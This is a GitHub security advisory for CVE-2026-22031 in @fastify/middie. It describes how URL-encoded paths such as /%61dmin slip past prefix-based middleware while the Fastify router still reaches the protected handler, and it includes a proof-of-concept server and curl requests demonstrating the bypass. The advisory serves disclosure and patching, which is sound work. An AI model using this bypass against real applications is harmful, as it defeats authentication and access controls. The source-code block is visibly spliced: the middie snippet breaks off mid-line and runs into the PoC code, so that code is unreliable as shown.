GitHub Advisoryadvisory · npm
GHSA-cxrg-g7r8-w69p Fastify Middie Middleware Path Bypass
HIGH
Official page ↗
- Aliases
- CVE-2026-22031
- Ecosystem
- npm
- Packages
- @fastify/middie
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
- Weaknesses
- CWE-177
- Reviewed
- 2026-01-20
Affected packages
• npm @fastify/middie: < 9.1.0 → fixed in 9.1.0
Description
Summary
A security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how `middie` matches requests against registered middleware paths.
1. Regex Generation: When fastify.use('/admin', ...) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.
2. Request Matching: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).
3. The Flaw: `req.url` in Fastify contains the raw, undecoded path string.
• The generated regex expects a decoded path (e.g., `/admin`).
• If a request is sent to `/%61dmin`, the regex comparison fails (`/^\/admin/` does not match `/%61dmin`).
• `middie` assumes the middleware does not apply and calls `next()`.
4. Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.
Incriminated Source Code:
In the provided `middie` source:
```javascript
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
```
Step 2: Execute the attack.
1. Normal Request (Blocked):
```bash
curl http://localhost:3008/admin
# Output: Forbidden: Access to /admin is blocked
```
2. Bypass Request (Successful):
```bash
curl http://localhost:3008/%61dmin
# Output: {"message":"Admin panel"}
```
Impact
• Type: Authentication/Authorization Bypass.
• Affected Components: Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.
• Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
Related
Alias · CVE (1)
- CVE-2026-22031 @fastify/middie is the plugin that adds middleware support on steroids to Fastify. vulnerability
Weakness · CWE (1)
- CWE-177 Improper Handling of URL Encoding (Hex Encoding) weakness
References
- https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p web
- https://nvd.nist.gov/vuln/detail/CVE-2026-22031 advisory
- https://github.com/fastify/middie/pull/245 web
- https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba web
- https://github.com/fastify/middie package
- https://github.com/fastify/middie/releases/tag/v9.1.0 web